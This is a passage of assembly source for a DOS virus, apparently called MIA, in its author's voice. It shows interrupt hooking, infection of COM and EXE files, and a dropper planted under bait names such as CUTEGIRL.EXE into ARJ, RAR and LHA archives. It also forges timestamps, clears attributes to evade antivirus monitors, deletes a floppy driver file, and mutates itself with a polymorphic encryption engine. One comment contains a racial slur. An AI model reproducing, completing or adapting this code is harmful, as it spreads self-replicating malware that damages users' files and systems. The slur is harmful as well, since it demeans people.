 inc    si
 cmp    ds:[si],ch             ; Seek ASCIZ
 ja     Increment
 std                           ; Set direction
 pop    es
 repe   cmpsb                  ; Compare some bytes ('MIA.COM')
 cld                           ; Clear direction
 jne    Spick
 cmp    es:word ptr [F_Off],si ; Compare SI with initial pointer
 ja     Fox                    ; Jump if above
 cmp    ds:byte ptr [si],2Fh   ; '/'
 je     Fox
 cmpsb                         ; '\'
 jne    Spick

Fox:
 call   Flop                   ; Pop all registers
 mov    ax,0020h               ; "Sharing violation" ?
 jmp    Return_Error

Spick:
 cmp    al,3Dh                 ; Open disk file?
 je     Further
 cmp    al,6Ch                 ; Extended open/create?
 jne    Outside

Further:
 call   Unarchive              ; Check whether there's a nigga in our midst
 jnbe   Outside
                               ; If a sucker is in its action, don't try to
Trixie:                        ; infect the file! 
 jmp    Lollipop

Outside:
 call   Disable_Equipments     ; Disable IRQ 1 & 2
 mov    al,13h
 lds    dx,cs:[ROM_BIOS]       ; Get disk interrupt handler vector
 call   Vectorize              ; Set INT 13h
 push   cs
 pop    ds
 mov    ds:[bx - 2Dh],dx       ; BX = 004Ch
 mov    ds:[bx - 2Bh],cx

 push   ds
 mov    cx,(offset Lseek_BOF - offset Fixup) / 02h
 mov    si,offset Fixup        ; Copy some codes into unused buffer 
 mov    di,offset Slack        ; (boot-record buffer)
 pop    es
 repe   movsw
 mov    cl,offset Decryptor - offset Disk_IO
 mov    si,offset Disk_IO
 repe   movsb                  ; Copy INT 15h handler

 mov    al,15h                 ; Installing viral INT 15h handler...
 mov    dx,(offset Lseek_BOF - offset Fixup) + offset Slack
 call   Vectorize
 xchg   ax,dx
 stosw                         ; Save old vector
 xchg   cx,ax
 stosw                         

 mov    al,40h                 
 lds    dx,es:[Flop_BIOS]      ; Restore BIOS floppy disk handler
 call   Vectorize
 xchg   bx,ax
 mov    cs:word ptr [bx + 23h],dx
 mov    cs:word ptr [bx + 25h],cx

 mov    ax,4A33h               ; Multiplex INT, function AX=4A33h, MS-DOS
 int    2Fh                    ; v7.00+ installation check.
 dec    ax                     ; AX = nonzero if older version or other DOS
 jnl    Terrible               ; Jump if OF & SF states don't differ
 xor    si,si                  ; Warning: BX, DX, SI, and DS were destroyed!

Devour:
 mov    ah,62h                 ; (Equal to function AH=51h)
 int    03h                    ; Get current PSP segment in BX
 mov    ds,bx                  
 mov    ds,ds:[002Ch]          ; Get segment of environment for current process

Forcible:
 lodsb
 test   al,al
 jnz    Forcible               ; Seek ASCIZ

Wrong:
 lodsw
 and    al,al                  ; If double ASCIZ, reaching the end of
 jz     Terrible               ; variables and strings in environment
 or     ax,2020h               ; Convert AX to lowercase
 xor    ax,6977h               ; 'wi' ?
 jnz    Forcible               ; Nope, seek again        
 lodsb                         ; Get 3rd letter of that variable
 and    al,0DFh                ; Convert it to uppercase
 sub    al,4Eh                 ; Is 3rd letter 'N' ?
 jnz    Forcible               ; No, another search

Equalize:
 lodsb
 or     al,al                  ; Zero? oh wrong variable!
 jz     Wrong
 cmp    al,3Dh                 ; Is it a '=' ?
 jne    Equalize
 push   es
 mov    ax,4301h               ; Function AX=4301h, set file attributes
 mov    bx,si                  ; Save in BX
 mov    cx,((offset Alloc - offset WinVxD) + 01h) / 02h
 mov    dx,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset DIsk_IO) + 04h
 mov    di,dx

Outbuild:
 movsb                         ; Copy character into buffer
 cmp    ds:[si],ch             ; End of string?
 jne    Outbuild               ; Loop if not

 mov    si,offset WinVxD
 pop    ds
 repe   movsw                  ; Copy VxD directory/filename just after it
 int    03h                    ; Clear attributes of HSFLOP.PDR
 jnc    Spare                  ; Branch if not failed
 cmp    al,02h                 ; Problem: file not found?
 jne    Terrible               
 mov    si,bx                  ; That means the directory exists
 jmp    short Devour           ; MIA will seek the file again 

Spare:
 mov    ah,3Ch
 int    03h                    ; Open and truncate the file
 jc     Terrible               ; Hmm, too many handles?
 mov    bh,3Eh
 xchg   bx,ax
 int    03h                    ; Then close the floppy VxD
 mov    ah,41h
 int    03h                    ; And then unlink it! 8-)

Terrible:
 mov    ax,6C00h               ; Extended open/create (for FAT32 drives?)
 mov    bx,1000h               ; BH = flags, BL = access mode
 cwd
 inc    dx                     ; DX = action if file exists/not
 lds    si,es:[F_Off]          ; Load filename
 int    03h                    ; CX must be 0001h (file opened) if no error
 sbb    cx,dx                  ; CX - DX - CF = 0001h - 0001h - 0000h = ?
 jcxz   Slapjack               ; Zero? so no problem!

Garbage:
 jmp    Zing

Slapjack:                      ; Returns AX = handle
 push   cs
 mov    bx,1220h               
 xchg   ax,bx
 mov    bp,bx                  ; Store file handle into BP
 pop    ds
 int    2Fh                    ; Get Job File Table (JFT) entry to ES:[DI]
 jc     Garbage
 mov    ax,1216h
 sub    bx,bx
 add    bl,es:[di]             ; Get SFT entry number for victim file handle
 cmp    bl,0FEh
 ja     Garbage                ; Unopened?
 int    2Fh                    ; Get System file table (SFT) for handle BX
 mov    ds:[SFT_Off],di        ; Save SFT entry point vector 
 mov    ds:[SFT_Off + 02h],es

 mov    al,es:[di + 05h]
 test   al,40h                 ; Test... file has been written?
 jz     Writeable              ; Jump if yes 
 and    al,0BFh
 cmp    al,02h                 ; File's in drive C ?
 jnb    Writeable              ; Bomb if not A or B 
 mov    al,04h                 ; Bit 2 - 3 set, read data from controller
 mov    dx,03F5h               ; Port 03F5h, 8272A = command for first FDC
 out    dx,al
 mov    ch,04h
 loop   $                      ; Wait while working...
 out    dx,al
 mov    ch,04h
 loop   $                      ; Wait again? 8-S
 in     al,dx                  ; Read ST3 from port...
 test   al,40h                 ; Test bit 6 if set...
 jnz    Garbage                ; Write protected??? jump if yes! 8-O

Writeable:
 or     es:byte ptr [di + 02h],02h
 xchg   cx,ax
 xchg   es:[di + 04h],al       ; Clear attributes (avoids AV TSR watchdogs)
 and    es:byte ptr [di + 05h],3Fh
 mov    bx,sp
 xchg   bp,bx                  ; BX = file handle, BP = SP
 les    dx,es:[di + 0Dh]      
 mov    ds:[Old_Time],dx       ; Store time stamp
 mov    ds:[Old_Date],es       ; Ditto... date stamp
 cmp    ss:byte ptr [bp + 11h],0Eh
 jne    Keep_Mode
 mov    ds:[Old_Time],4800h    ; Set file time to 09:00:00 AM
 mov    ds:[Old_Date],0653h    ; Set date to February 19th, 1983
 or     al,43h                 ; If dropping MIA.COM, set R/H attributes and
                               ; bit-6 attributes so ATTRIB.EXE won't be able
Keep_Mode:                     ; to change the file attributes, 8-)
 mov    ds:[File_Attribs],al
 test   al,1Ch                 ; System file, volume label, or directory?
 jnz    Liveaid                ; Bail out if yes
 call   Lseek_BOF              ; Lseek to BOF
 mov    ah,3Fh                 ; Read function
 mov    cl,18h                 ; First 24 bytes to read
 mov    dl,offset Buffy        ; Read buffer
 mov    di,dx                  
 int    03h
 sbb    cx,ax                  ; CX - AX - CF = Zero ?
 jnz    Liveaid                ; If ZF=0 probably the file is smaller than 24
 push   ds                     ; bytes or the disk has error
 lds    si,ds:[di + 18h]       ; Load pointer to filename

SearchZero:
 lodsb
 and    al,al                  ; ASCIZ ?
 jnz    SearchZero
 dec    si
 dec    si
 mov    cl,0Bh                 ; 11 characters to be compared
 mov    bp,offset WinVxD
 std                           ; Set backward direction

Scribble:
 dec    bp
 lodsb                         ; Obtain a character
 or     al,20h                 ; Convert to lowercase
 cmp    cs:[bp],al
 loopz  Scribble               ; Loop while equal
 pop    ds
 cld                           ; Clear direction
 jne    Undergone
 mov    ax,ds:[di]             ; Put two first bytes into AX
 call   Exe_Check              ; Check the presence of .EXE signature
 je     Undergone              ; COMMAND.COM has .EXE format? infect it if so
                               ; else, don't infect it
Liveaid:
 mov    dx,ds:[Old_Date]       ; File date stamp
 cmp    dh,0C8h
 jb     Unset
 sub    dh,0C8h                ; Subtract a century from DH

Unset:
 jmp    Future_File

Giveback:
 push   cs
 pop    ds
 mov    ah,49h
 mov    es,bp                  ; Release memory block
 int    03h
 push   ds
 pop    es
 ret

Undergone:
 call   Lseek_EOF              ; Lseek to EOF
 mov    ds:[di + 2Dh],ax
 mov    ds:[di + 2Fh],dx       ; Save file size
 mov    ax,ds:[di]             ; Get first word
 cmp    ax,0EA60h              ; ARJ archive??
 je     Archiver
 cmp    ax,6152h               ; RAR archive?
 je     Process_RAR            ; Maybe...
 cmp    ds:word ptr [di + 03h],686Ch
 je     Archiver               ; LHA/LZH/PAK archive? yup!
 jmp    Impeach

Process_RAR:
 lea    si,[di + 09h]          ; SI = 000Ch
 lea    di,[si - 01h]          ; DI = 000Bh
 cmp    ds:word ptr [si - 07h],2172h
 jne    Liveaid                ; Not 'Rar!', so bail out
 cmp    ds:byte ptr [si],73h
 jne    Archiver
 test   ds:byte ptr [si + 01h],01h
 jnz    Liveaid                ; Don't infect multi-volume archive
 and    ds:byte ptr [si + 01h],0DFh
 call   CRC32                  ; Remove AV bit flag, recalculate header's CRC
 mov    ds:[di + 0Ah],cx       ; DI = zero
 call   Lseek_BOF              ; Lseek to BOF
 mov    cl,18h                 ; CX = 0018h
 mov    dl,offset Buffy        ; DX = 0003h
 call   RightWrite             ; Write it into file
 jnz    Liveaid                ; Bomb if there was a problem
 call   Lseek_EOF              ; Move file R/W pointer to EOF

Archiver:
 mov    ax,3D90h
 mov    dx,offset Bait         ; Open MIA.COM file for read-only
 mov    ds:[Stuff_02],bx       ; Save file handle
 int    03h
 jc     Liveaid                ; Huh? MIA hasn't dropped it...
 xchg   ax,bx
 call   Lseek_EOF              ; Lseek to the EOF
 dec    dx
 jge    Liveaid                ; SF = OF
 cmp    ax,VirLen + VirVxD     ; Virus length + dropper's host size
 jne    Unreachable            ; Check file size, is it okay? go on... 
 call   Lseek_BOF              ; Lseek to the BOF
 push   bx
 mov    ah,48h                 ; Allocate memory for read buffer
 mov    bx,((VirLen + VirVxD + 04h) / 10h) + 01h
 int    03h
 pop    bx
 jnc    Available              ; Insufficient memory?
 mov    ax,0C000h - ((VirLen + VirVxD + 14h) / 10h)

Available:
 xchg   bp,ax                  ; Save memory block segment in BP
 mov    ah,3Fh
 mov    cx,VirLen + VirVxD     ; Read the entire dropper
 cwd
 mov    ds,bp
 mov    ds:word ptr [VirEnd + VirVxD],0EA60h
 mov    ds:word ptr [VirEnd + VirVxD + 02h],dx
 int    03h
 sbb    ax,cx                  ; AX = CX, and CF=0 if successful read
 pushf
 mov    ah,3Eh                 ; Close the dropper
 int    03h
 popf
 jz     Voyage                 ; All bytes have been read?

Comedown:
 call   Giveback

Unreachable:
 jmp    Liveaid

Voyage:
 mov    si,dx                  ; DX = SI = zero 


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Calculate  CRC-16  of our dropper, this will be done by a small subroutine,
; unlike other  CRC-16  generators,  this one does not need additional memory
; space (usually 1024 bytes) for CRC table like,  for instance,  UNPAK.EXE or
; Win32.INCA virus  (I wonder why Vecna used that).  Thanks to  Zhengxi, Ltd.
; for its run-time CRC-32 generator which inspired Me to write this  (I can't
; believe it,  if CRC-16 generator can be made as simple as this one,  so why
; should we bother to create huge CRC table?).
; On entry: CX    = number of bytes of data to be calculated
;           DS:SI = first byte of data to be calculated
; Return:   AX    = destroyed
;           CX    = zero
;           DX    = CRC-16 value
;           DS:SI = first byte after last byte of data
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


CRC16:                         ; This is only needed in .LHA/.LZH/.PAK infection
 sub    ax,ax
 lodsb
 xor    al,dl
 mov    dl,dh
 mov    dh,08h                 ; Process 8 bits

Shifting:
 shr    ax,01h
 jnc    Skip_CRC
 xor    ax,0A001h              ; Does anyone know why I should use this value?

Skip_CRC:                      ; I've sworn that if MIA's CRC-16 generator
 dec    dh                     ; needs to build a CRC table before doing
 jnz    Shifting               ; calculation, I wouldn't bother to include
 xor    dx,ax                  ; .LHA/.LZH/.PAK infection. 8-)
 loop   CRC16

 push   dx
 xchg   di,si
 xchg   si,cx                  
 call   CRC32                  ; Calculate CRC-32 of dropper, this is used
 push   cs                     ; for .ARJ and .RAR infections
 pop    ds ax
 mov    bx,ds:[di + 45h]       ; Get .ARJ/.LHA/.LZH/.PAK/.RAR file handle
 cmp    ds:byte ptr [di + 03h],52h
 mov    di,offset RARName
 je     Rarphile               ; Jump and process RAR archive
 cmp    ds:byte ptr [Buffy + 03h],6Ch
 mov    di,offset Fleet        ; DI points to MIA's ARJ header, filename field
 jne    Process_ARJ            ; Branch and process ARJ archive


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .LHA/.LZH/.PAK files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


 push   ax                     ; Save dropper's CRC-16 on stack
 mov    di,offset Filing
 call   Random_Name            ; Generate random filename (with random length)
 pop    ax
 stosw                         ; Store value of CRC-16 just after filename
 mov    al,4Dh
 stosb                         ; Set up some stuff...
 xchg   si,ax
 stosw
 sub    di,offset Head_3
 push   di                     ; DI = total header size
 sub    di,(offset Filing - offset Head_3) + 05h
 xchg   ax,di                
 mov    ds:[LHA_FNS],al        ; AL = filename length
 add    al,(offset RARType - offset Method) - (offset LHA_CRC - offset Filing)
 mov    ds:[Head_3],al         ; AL = header subsize
 xchg   cx,ax
 clc
 setalc                        ; Zero as initial value
 mov    si,offset Method       ; Now calculate header's checksum...

Checksum:                      ; He he he, Vecna said that this checksum's
 add    al,ds:[si]             ; funny, I think He's right. 8-)
 inc    si
 loop   Checksum
 mov    ds:[Head_4],al         ; Store header's checksum into its field
 mov    ax,4202h
 dec    cx
 or     dx,cx
 int    03h                    ; Lseek to EOF - 1
 pop    cx
 mov    dx,offset Head_3
 call   RightWrite             ; Write viral LHA/LZH/PAK header
 jnz    Tail
 mov    cx,VirLen + VirVxD + 01h
 mov    ds,bp
 mov    ds:byte ptr [VirEnd + VirVxD],al
 jmp    short Overdrop


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .RAR files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Rarphile:
 mov    ds:word ptr [RAR_CRC],cx
 mov    ds:word ptr [RAR_CRC + 02h],dx
 call   Random_Name            ; Create new random name for dropper
 sub    di,offset Head_5       ; DI holds total size of RAR header
 mov    ds:[Head_6],di         ; Store it into header
 push   di                     ; Save on stack for later usage
 sub    di,offset RARName - offset Head_5
 mov    ds:[RAR_FNS],di        ; DI = size of dropper filename (no ASCIZ)
 mov    si,offset RARType
 add    di,offset RARName - offset RARType
 call   CRC32                  ; Calculate RAR header's CRC-32
 mov    ds:[Head_5],cx         ; But RAR archiver just needs the lower 16-bit
 pop    cx                     ; CX = RAR header size
 mov    dx,offset Head_5
 call   RightWrite             ; Write RAR header

Tail:
 jnz    Blackday               ; Error?
 mov    cx,VirLen + VirVxD     ; Virus length + dropper size
 jmp    short Overdrop         ; Now write the dropper into file


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .ARJ files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Process_ARJ:
 test   ds:byte ptr [Buffy + 08h],04h
 jnz    Blackday               ; Stop!! don't infect ARJ multi-volume archive!
 mov    ds:word ptr [ARJ_CRC],cx
 mov    ds:word ptr [ARJ_CRC + 02h],dx
 call   Random_Name            ; Generate random name for dropper
 xchg   si,ax
 stosw                         ; Put 2 nulls to terminate filename and comment
 mov    si,offset Head_2
 push   di
 sub    di,si                  ; DI now holds basic size of ARJ header that
 mov    ds:[Head_1],di         ; MIA has just been created.
                               
 call   CRC32                  ; Calculate CRC-32 of ARJ header
 mov    ax,4202h
 xchg   cx,ax
 pop    di
 stosw                         ; Store low-word of header's CRC-32
 xchg   dx,ax
 stosw                         ; Store hi-word of header's CRC-32
 sub    ax,ax
 stosw                         ; Put what?
 dec    ax
 sub    di,offset Marker
 push   di                     ; DI = the total size of ARJ header that MIA
                               ; has just created.
 xchg   cx,ax
 mov    dx,0FFFCh              ; Lseek to EOF - 4
 int    03h
 pop    cx
 mov    dx,offset Marker
 call   RightWrite             ; Write ARJ header
 jnz    Blackday
 mov    cx,VirLen + VirVxD + 04h

Overdrop:
 cwd
 mov    ds,bp                   
 call   RightWrite             ; Write the dropper into file
 jnz    Blackday
 and    cs:byte ptr [Old_Time],0FEh
 or     cs:byte ptr [Old_Time],1Eh
 jmp    Comedown

Blackday:
 call   Giveback

Full_Disk:                     ; If the disk has insufficient space for
 mov    ax,4200h               ; MIA to write the whole codes,
 les    dx,ds:dword ptr [LowPos]
 mov    cx,es                  ; then MIA should truncate the file
 int    03h                    
 mov    ah,40h
 xor    cx,cx                  
 int    03h

Mingle:
 jmp    Liveaid       
 
Impeach:
 cmp    dx,0008h               ; Ha??
 jnbe   Mingle
 call   Exe_Check
 je     Exephile         
 dec    dx                     ; Larger than 65,535 bytes? so it's invalid COM
 jnl    Mingle                 ; exit if so
 xor    al,0E9h                ; First instruction... a near JMP ?
 jnz    Comphile               ; Bomb if not
 mov    ax,ds:[di + 02h]       ; Get 2nd word
 add    al,ah
 jz     Finishing_Touch        ; Infected? go out


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .COM files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Comphile:
 mov    ax,ds:[di + 2Dh]
 cmp    ax,-(VirLen + 200h)    ; 56,024 bytes?
 ja     Mingle                 ; File is too big, bail out
 push   ax
 inc    ah                     ; Add with PSP size
 xchg   ax,bp
 call   MultiFormer            ; Encrypt and write virus to EOF
 pop    bp

Crafty:
 jnz    Full_Disk              ; Jump if error or insufficient disk space
 call   Lseek_BOF              ; Move R/W pointer to BOF
 xchg   bp,ax
 add    ax,(offset Decryptor - offset VirBeg) - 03h
 mov    ds:byte ptr [di],0E9h  ; Put a near JMP opcode
 mov    ds:[di + 01h],ax       ; Put a displacement
 neg    ah                     
 mov    ds:[di + 03h],ah       ; The fourth byte will be the infection marker
 mov    ah,40h
 mov    cl,04h                 ; Write four bytes

Neat:
 mov    dx,di
 int    03h

Finishing_Touch:
 jmp    Sick


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .EXE files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Exephile:
 cmp    ds:word ptr [di + 14h],offset Decryptor
 jb     Offensive             
 cmp    ds:word ptr [di + 14h],offset Decryptor + 10h
 jb     Finishing_Touch
                               ; Here We go, here We go!
Offensive:
 mov    ax,ds:[di + 2Dh]       ; Get low-size
 mov    cl,10h
 div    cx                     ; Divide by 16
 sub    ax,ds:[di + 08h]       ; Subtract .EXE header size from file size
 mov    bp,dx                  ; DX holds delta offset
 add    dx,offset Decryptor

 push   ax dx
 call   MultiFormer            ; Garble and write virus codes to EOF
 pop    dx ax
 jnz    Crafty                 ; Jump if error or disk full
 mov    ds:[di + 14h],dx       ; Brand-new IP
 mov    ds:[di + 16h],ax       ; Brand-new CS
 add    ax,(VirLen - 0F0h) / 10h
 mov    bp,0200h
 mov    ds:[di + 0Eh],ax       ; Brand-new SS
 mov    ds:[di + 10h],bp       ; Initial stack: (SS:0200h)

 les    ax,ds:dword ptr [di + 2Dh]
 mov    dx,es
 add    ax,VirLen              ; Adjust for new .EXE file size
 adc    dx,0000h               ; Affect hi-word file size
 div    bp                     ; Divide new loadable module by 512
 and    dx,dx                  ; Is there a remainder?
 jz     Constant
 inc    ax                     ; if yes, then add a page

Constant:
 mov    ds:[di + 04h],ax       ; Number of needed 512-page to hold .EXE file
 mov    ds:[di + 02h],dx       ; Remainder bytes

 mov    ax,0010h               ; Next line, adjust memory field for virus stack
 cmp    ds:[di + 0Ah],ax       ; Check minimum memory field...
 jnb    Vigil                  ; Jump if CF=0, enough space for initial stack
 mov    ds:[di + 0Ah],ax       ; Min memory paragraph = 16
 cmp    ax,ds:[di + 0Ch]       ; Max memory must be above or same with min memory
 jbe    Vigil
 mov    ds:[di + 0Ch],ax       ; Max memory paragraph = 16

Vigil:
 call   Lseek_BOF              ; Aim R/W Pointer to the BOF
 mov    ah,40h
 mov    cl,18h                 ; CX = 0018h
 jmp    short Neat

Exe_Check:
 cmp    ax,5A4Dh               ; 'MZ' - Mark Zbikowski (architect of MS-DOS)
 je     Valid_Exe               
 cmp    ax,4D5Ah               ; 'ZM' - Zbikowski Mark (?)

Valid_Exe:
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄ[ Create random filename with .COM/.EXE extension ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Random_Name:
 mov    ax,0008h
 call   Ranger                 ; Get random number of characters in dropper's
 push   ds                     ; filename 
 inc    ax
 mov    si,ax                  ; SI acts as counter (number of characters)
 pop    es

Build_Name:
 mov    al,25h
 call   Ranger                 ; Get random word
 cmp    al,0Ah                 ; Number or letter?
 jb     Number                 ; Jump if number
 jne    Just_Skip
 mov    al,0F7h                ; Including '-'

Just_Skip:
 add    al,06h                 ; Skip 7 ASCII characters

Number:
 add    al,30h
 stosb                         ; Put the character
 dec    si                     ; Decrease counter (i.e. number of letters in
 jnz    Build_Name             ; filename)

 call   Rand16
 mov    ax,432Eh               
 stosw                         ; Put .COM extension
 mov    ax,4D4Fh
 jnc    Commit
 xor    ax,0817h               ; Oh, MIA may use .EXE extension too, 8-)
 mov    ds:[di - 01h],ah

Commit:
 stosw                         
 ret


                        SubTtl Nemo sine cruce beatus!


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; CRC-32 generator,  note that this subroutine was stolen from Zhengxi, Ltd.,
; Russia. Yeah,  this routine suits MIA fine, I like it 'cause it's so small,
; no need for huge CRC-32 table,  for instance,  Necrosoft Enterprises' needs
; 1024 bytes of memory! (excluding the routine itself). 8-(
; On entry: DS:SI = first byte of data to be calculated
;           DI    = number of bytes of data to be calculated
; Return:   AX    = destroyed
;           CX:DX = CRC-32 value
;           DS:SI = first byte after last byte of data
;           DI    = zero
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


CRC32:                         
 push   bx
 stc
 sbb    cx,cx              
 mov    dx,cx                  ; CX = DX = NOT zero
                               
Next:
 xor    ax,ax
 and    bx,ax
 lodsb                         ; Get a byte of data
 xor    al,cl                  ; Xor it
 mov    cl,ch                  
 mov    ch,dl                  ; Shift byte per byte
 mov    dl,dh
 mov    dh,08h                 ; Process 8 bits

More:
 shr    bx,01h                 
 rcr    ax,01h  
 jnc    Exclude                ; Jump if CF=0
 xor    ax,8320h  
 xor    bx,0EDB8h      
                               
Exclude:
 dec    dh                     ; Eight times shifting?
 jnz    More                   ; Not yet, loop
 xor    cx,ax                  
 xor    dx,bx                   
 dec    di                     ; Decrease counter
 jnz    Next                   ; Jump if ZF=0
 pop    bx
 not    cx
 not    dx                     
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ .ARJ packed file's header structure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Marker  dw     0EA60h          ; ARJ valid archive signature
Head_1  dw offset Basic - offset Head_2
Head_2  db offset Fleet - offset Head_2
        db        07h          ; ARJ version number (which archived this)
        db        01h          ; Oldest version of ARJ that can be used
        db        00h          ; ARJ's host OS (0 = MS-DOS, 1 = PRIMOS, etc.)
        db        10h          ; Some flags (password, path name, etc.)
        db        00h          ; Compression method, zero = no compression
        db        00h          ; Type of file, zero = binary file
        db        49h          ; Reserved field?
        dd 0CE534800h          ; Date and time stamps, 02-19-2083 09:00:00a
        dd VirLen + VirVxD     ; Compressed file size
        dd VirLen + VirVxD     ; Original file size
ARJ_CRC dd  41494D20h          ; Packed file's CRC-32
        dw      0000h          ; Entry name position in filename
        dw      0021h          ; ARJ access mode (attributes)
        dw      0000h          ; ARJ's host data
Fleet   db 'TRUELOVE.EXE',00h  ; ASCIZ filename
        db        4Dh          ; ASCIZ file comment
Basic   dd  4F495241h          ; ARJ basic header's CRC-32


;ÄÄÄÄÄÄÄÄÄÄÄÄÄ[ .LHA/.LZH/.PAK packed file's header structure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Head_3  db offset RARType - offset Method
Head_4  db        00h          ; Header checksum byte
Method  db '-lh0-'             ; Archive method: stored "as is"
        dd VirLen + VirVxD     ; Compressed file size
        dd VirLen + VirVxD     ; Original file size
        dd 0CE534800h          ; Date and time stamps, 02-19-2083 09:00:00a
        dw      0120h          ; Flags?
LHA_FNS db offset LHA_CRC - offset Filing
Filing  db 'SUPERFLY.COM'      ; Filename (without ASCIZ)
LHA_CRC dw      0000h          ; Packed file's CRC-16
        db        4Dh          ; Some stuff?


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ .RAR packed file's header structure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Head_5  dw      0000h          ; RAR header's CRC
RARType db        74h          ; Archive type?
        dw      8000h          ; Some flags (volume, password, comment, etc.)
Head_6  dw offset MultiFormer - offset Head_5
        dd VirLen + VirVxD     ; Compressed file size
        dd VirLen + VirVxD     ; Original file size
        db        00h          ; RAR's host OS
RAR_CRC dd  352D4949h          ; Packed file's CRC-32
        dd 0CE534800h          ; Date and time stamps, 02-19-2083 09:00:00a
        db        0Fh          ; Required version of RAR archiver
        db        30h          ; Compression method
RAR_FNS dw offset MultiFormer - offset RARName
        dd  00000021h          ; RAR file attributes
RARName db 'CUTEGIRL.EXE'      ; Filename (without ASCIZ)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ MULTIFORMER, fast-polymorphic generator ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; This  polymorphic  engine is a development of  existing  engine  created by
; GriYo (29A)  that has been  implemented on  CRI-CRI and IMPLANT.6128 virus.
; So, a ton of thanks go to him.
; Warning: This engine ain't a portable one, so don't attempt to copy & paste
;          it into Your virus without any modification!!
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


MultiFormer:                        
 push   bx ds                  ; Push file handle,
 mov    ds:[Delta],bp          ; Save delta offset before writing codes
 pop    es                     ; and set ES = DS

Remix:
 xor    al,al
 mov    cx,0009h
 mov    di,offset LowSiz
 repe   stosb                  ; Clear some variables
 call   Rand16                 ; Initialize random number engine
 and    al,01h                 ; 0 (SI) or 1 (DI)?
 stosw                         ; Store random displacement too
 call   Rand16
 and    ax,3801h               ; Choose decryptor type: forward (0) or backward
 stosw                         ; (1) and decryptor register
 sub    al,al
 stosb                         ; Clear maximum counter for NEG/NOT  SP

AntiZero:
 call   Rand16                 ; This time, the encryption key
 test   ah,ah
 jz     AntiZero               ; ??
 cmp    ah,0FFh
 je     AntiZero
 mov    ds:byte ptr [Slack + (Keybyte - Fixup)],ah
 mov    ds:byte ptr [Slack + (Interplay - Fixup) + 01h],0F8h

 mov    bx,Mutant / 02h
 mov    di,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset DIsk_IO) + 04h
 push   di

Altogether:
 call   Rand16                 ; Random word?
 stosw
 dec    bx
 jnz    Altogether             ; Fill buffer with garbage
 pop    di                     ; Restore pointer to buffer

Ripple:
 mov    ax,(offset Countermove - offset Intervention) / 02h
 call   Ranger
 rol    ax,01h                 ; Rotate a bit to the left
 xchg   si,ax
 cmp    ds:[LowSiz],si
 je     Ripple                 ; Don't generate a "monomorphic" decryptor
 mov    ds:[LowSiz],si
 call   ds:word ptr [si + Intervention]
 cmp    di,(Mutant - 07h) + offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h
 jnb    Remix                  ; Buffer overflow? jump if yes, try again
 cmp    ds:[Pointer],05h       ; Decryptor is ready?
 jb     Ripple                 ; Not yet
 call   Construction
 mov    ax,((Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h) - offset Decryptor) + ((offset Vanguard - offset VirBeg) - 02h)
 sub    ax,di
 stosw                         ; So, a jump to entry point after decrypting

 pop    bx                     ; Restore file handle
 mov    cx,Mutant - 01h
 mov    si,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h
 mov    di,offset Decryptor
 repe   movsb                  ; Copy decryptor from buffer into virus body
 call   Undress                ; Garble file header.

 db     0E8h
 dw     (offset Slack + (offset Strike - offset Fixup)) - offset Shallow

Shallow:
 lahf
 call   Undress                ; Ungarble file header
 sahf
 ret


